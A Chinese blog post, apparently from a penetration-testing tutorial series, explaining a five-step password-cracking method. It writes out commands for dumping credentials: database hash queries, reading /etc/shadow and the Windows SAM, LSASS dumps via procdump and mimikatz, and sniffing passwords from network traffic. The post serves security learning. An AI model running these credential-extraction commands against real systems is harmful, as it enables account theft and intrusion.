郑重声明:本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。
🔋点赞| 能量注入 ❤️关注| 信号锁定 🔔收藏| 数据归档 ⭐️评论| 保持连接💬
🌌立即前往👉晖度丨安全视界🚀
▶ 信息收集
▶ 漏洞检测
▶ 初始立足点 ➢ 密码攻击 ➢ 密码破解理论(下)🔥🔥🔥
▶ 权限提升
▶ 横向移动
▶ 报告/分析
▶ 教训/修复
目录
1.密码破解理论
1.1 密码破解流程
1.1.1 哈希破解五步流程图
1.1.2 各步骤详细说明
1.1.2.1 提取哈希值
1.数据库表提取
①MySQL/MariaDB
②PostgreSQL
③MSSQL
2.系统文件提取
①Linux/Unix系统
②Windows系统
3.内存提取
①Windows系统
②Linux系统
4.网络流量提取
①通用抓包
②提取Web认证哈希
③提取数据库通信哈希
1.1.2.2 格式化哈希值
1.哈希格式处理
2.哈希类型识别
1.1.2.3 计算破解时间
1.1.2.4 准备变异字典
1.1.2.5 攻击哈希值
1.关键检查点
2.破解成功验证
3.常见陷阱与规避方法
1.1.3 迭代优化循环
1.1.4 方法论核心原则
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
1.密码破解理论
1.1 密码破解流程
1.1.1 哈希破解五步流程图
📊 破解步骤详解:
| 步骤 | 名称 | 关键操作 | 工具/方法 | 注意事项 |
|---|---|---|---|---|
| ① | 提取哈希值 | 从目标系统获取哈希 | - 数据库转储 - 内存提取 - 文件提取 | 确保哈希完整性,避免截断 |
| ② | 格式化哈希值 | 识别并转换格式 | - hash-identifier - hashid - 专用转换工具 | 精确识别哈希算法,避免格式错误 |
| ③ | 计算破解时间 | 评估可行性 | 公式: 破解时间 = 密钥空间 ÷ 哈希速率 | 考虑测试时间窗口,避免不切实际的尝试 |
| ④ | 准备变异字典 | 增强字典攻击效果 | - 基于规则变异 - 分析密码策略 - 参考泄露数据 | 优先使用变异字典而非原始字典 |
| ⑤ | 攻击哈希值 | 执行破解操作 | Hashcat、John the Ripper等 | 注意哈希值输入格式,确认算法类型 |
1.1.2 各步骤详细说明
1.1.2.1 提取哈希值
| 来源位置 | 提取方法 | 具体命令/工具 | 输出示例 |
|---|---|---|---|
| 数据库表 | SQL查询转储 | MySQL:SELECT user, password FROM users;PostgreSQL: SELECT usename, passwd FROM pg_shadow; | admin:5f4dcc3b5aa765d61d8327deb882cf99 |
| 系统文件 | 文件读取 | Linux:cat /etc/shadowWindows: reg save HKLM\SAM sam.save | root:$6$...:18959:0:99999:7::: |
| 内存 | 内存转储分析 | Windows:procdump.exe -ma lsass.exe lsass.dmpLinux: gcore -o core.pid | LSASS进程内存文件 |
| 网络流量 | 抓包分析 | tcpdump -i eth0 -w capture.pcaptshark -r capture.pcap -Y "http.authbasic" | HTTP Basic认证头 |
🛠️ 实用工具集
| 工具 | 用途 | 示例命令 |
|---|---|---|
| hashcat | 密码破解 | hashcat -m 0 hash.txt rockyou.txt |
| john | 密码破解 | john --format=raw-md5 hash.txt |
| mimikatz | Windows凭据提取 | sekurlsa::logonpasswords |
| pwdump | Windows哈希提取 | pwdump.exe system.save sam.save |
| tcpdump | 网络抓包 | tcpdump -i eth0 -w capture.pcap |
| Wireshark | 网络分析 | GUI分析或tshark命令行 |
| sqlmap | 数据库渗透 | sqlmap -u "http://site.com" --passwords |
1.数据库表提取
①MySQL/MariaDB
-- 标准查询(需适当权限)SELECTuser, authentication_stringFROMmysql.user;-- 旧版本或特定格式SELECTuser, passwordFROMmysql.user;-- 导出到文件(命令行)mysql-u root-p-e "SELECT user, authentication_string FROM mysql.user">hashes.txt②PostgreSQL
-- 查询用户密码哈希SELECTusename, passwdFROMpg_shadow;-- 导出到文件\copy(SELECTusename, passwdFROMpg_shadow)TO'/tmp/pg_hashes.csv'WITHCSV;③MSSQL
-- SQL ServerSELECTname, password_hashFROMsys.sql_logins;-- 配合解密(需特权)SELECTname,CAST(passwordASvarchar(100))FROMsys.syslogins;2.系统文件提取
①Linux/Unix系统
# 读取shadow文件(需root)sudocat/etc/shadow# 仅提取用户名和哈希sudo awk -F:'{print $1":"$2}'/etc/shadow# 备份文件(历史哈希)cat/etc/shadow-# 备份文件cat/etc/passwd# 部分旧系统密码哈希# 提取特定用户sudo grep -E'^(root|admin):'/etc/shadow②Windows系统
# 方法1:使用reg命令导出SAMreg save HKLM\SAM C:\sam.save reg save HKLM\SYSTEM C:\system.save# 方法2:使用Mimikatz(需管理员)privilege::debug token::elevate lsadump::sam# 方法3:PowerShell提取Copy-Item C:\Windows\System32\config\SAM C:\temp\sam.bak Copy-Item C:\Windows\System32\config\SYSTEM C:\temp\system.bak3.内存提取
①Windows系统
# 方法1:使用Procdump(微软官方工具)procdump.exe -accepteula -ma lsass.exe lsass.dmp# 方法2:使用Mimikatz(内存提取)mimikatz.exe privilege::debug sekurlsa::logonpasswords full# 方法3:使用Task Manager# 右键lsass.exe → Create dump file②Linux系统
# 提取所有进程内存sudo gcore -o /tmp/core.pid [PID]# 查找特定进程ps aux | grep [process_name]# 提取SSH密钥等sudo strings /proc/[pid]/mem | grep -i"ssh"# 使用LiME内核模块insmod lime.ko"path=/tmp/memdump.lime format=lime"4.网络流量提取
①通用抓包
# 使用tcpdumpsudo tcpdump -i eth0 -s 0 -w capture.pcap port 80 or port 443# 使用tshark过滤tshark -r capture.pcap -Y"http.request.method == POST"-T fields -e http.authbasic# 实时监控HTTP认证sudo tcpdump -i eth0 -A -s 0'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'| grep -E'Authorization:|password=|passwd='②提取Web认证哈希
# 提取HTTP Basic认证tshark -r capture.pcap -Y"http.authbasic"-T fields -e http.authbasic |base64-d# 提取Cookie/Sessiontshark -r capture.pcap -Y"http.cookie"-T fields -e http.cookie# 提取表单提交的密码tshark -r capture.pcap -Y"http.request.method == POST"-T fields -e http.file_data | grep -i password③提取数据库通信哈希
# MySQL认证抓取sudo tcpdump -i eth0 -s 0 -w mysql.pcap port 3306# 分析MySQL握手包tshark -r mysql.pcap -Y"mysql"-T fields -e mysql.auth_response# PostgreSQL认证tshark -r capture.pcap -Y"pgsql"-T fields -e pgsql.auth_response1.1.2.2 格式化哈希值
1.哈希格式处理
# 清理提取的哈希值# 移除空格和特殊字符sed -i's/[[:space:]]//g'hashes.txt# 仅保留有效哈希行grep -E'^[a-fA-F0-9]{32,128}$'hashes.txt > clean_hashes.txt# 分割用户名和哈希awk -F:'{print $2 > "hashes_only.txt"}'extracted.txt2.哈希类型识别
| 任务 | 工具 | 使用示例 | 输出目标 |
|---|---|---|---|
| 识别算法 | hash-identifier | hashid "5f4dcc3b5aa765d61d8327deb882cf99" | MD5、SHA1等 |
| 验证格式 | 人工检查 | 查看长度、字符集 | 符合工具要求格式 |
| 转换格式 | 脚本工具 | john --format=raw-md5 hash.txt | 标准哈希文件格式 |
# 使用hash-identifierhash-identifier# 粘贴哈希值进行识别# 使用hashidhashid 5f4dcc3b5aa765d61d8327deb882cf99# 文件批量识别hashid -j hashes.txt1.1.2.3 计算破解时间
计算公式:
破解时间(秒) = 密钥空间大小 ÷ 哈希计算速率(次/秒)| 参数 | 定义 | 如何确定 |
|---|---|---|
| 密钥空间 | 所有可能密码的组合数 | 字符集长度^密码长度 |
| 哈希速率 | 每秒可尝试的哈希次数 | 工具基准测试或硬件规格 |
| 实际时间 | 考虑概率的期望时间 | 密钥空间 ÷ 2 ÷ 哈希速率 |
可行性判断标准:
| 时间范围 | 建议行动 |
|---|---|
| < 1小时 | 立即执行 |
| 1小时 - 1天 | 安排进行 |
| 1天 - 1周 | 评估必要性 |
| > 1周 | 放弃或换方法 |
1.1.2.4 准备变异字典
本部分的内容,具体详见上一篇文章。
| 准备策略 | 实施方法 | 优势 |
|---|---|---|
| 规则变异 | 使用规则文件自动修改 | 覆盖用户常见修改模式 |
| 策略分析 | 研究目标密码策略要求 | 针对性更强,效率更高 |
| 泄露数据 | 整合已知泄露密码 | 利用用户重复使用密码习惯 |
| 混合攻击 | 组合多个字典和规则 | 覆盖更广泛的可能性 |
1.1.2.5 攻击哈希值
1.关键检查点
| 检查项 | 常见问题 | 解决方法 |
|---|---|---|
| 哈希值 | 多余空格/换行 | 使用cat -A检查隐藏字符 |
| 算法类型 | 多种算法特征相似 | 使用多个工具交叉验证 |
| 工具配置 | 参数错误 | 先用已知哈希测试工具 |
| 输出结果 | 破解成功但未显示 | 检查工具输出级别设置 |
2.破解成功验证
# 验证破解结果$echo"破解出的密码"| hashcat -m 算法ID 目标哈希 --stdout# 比较输出的哈希值与目标是否一致3.常见陷阱与规避方法
| 陷阱 | 表现 | 规避方法 |
|---|---|---|
| 哈希识别错误 | 长时间无结果 | 使用多个识别工具交叉验证 |
| 格式错误 | 工具报错"无效哈希" | 检查样例格式,使用转换脚本 |
| 时间估计偏差 | 远超过预估时间 | 定期检查进度,设置时间限制 |
| 字典不足 | 多次尝试无结果 | 组合多个来源字典,添加规则变异 |
| 硬件限制 | 破解速度极慢 | 考虑GPU加速或云服务 |
1.1.3 迭代优化循环
尝试破解 → 分析结果 → 调整策略 → 再次尝试 ↑ ↓ └───────────────────────────────┘| 现象 | 可能调整 |
|---|---|
| 无任何命中 | 扩大字典范围,增加规则 |
| 部分相似密码命中 | 针对性地设计新规则 |
| 时间过长 | 缩小密钥空间,聚焦高概率密码 |
1.1.4 方法论核心原则
准备优于蛮力:充分的准备(字典、规则)比单纯增加计算能力更有效
验证先行:在长时间运行前验证哈希格式、工具配置
时间意识:始终考虑时间成本,设置合理的期望和截止点
迭代优化:基于每次尝试的结果不断优化策略
多样化尝试:不依赖单一方法,准备多种攻击路径
成功的关键在于系统化的方法和持续的优化,而非单纯依赖计算能力。
下文开始按照本文的流程,进行完整的密码破解的实践。
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
每一份支持,都是我持续输出的光。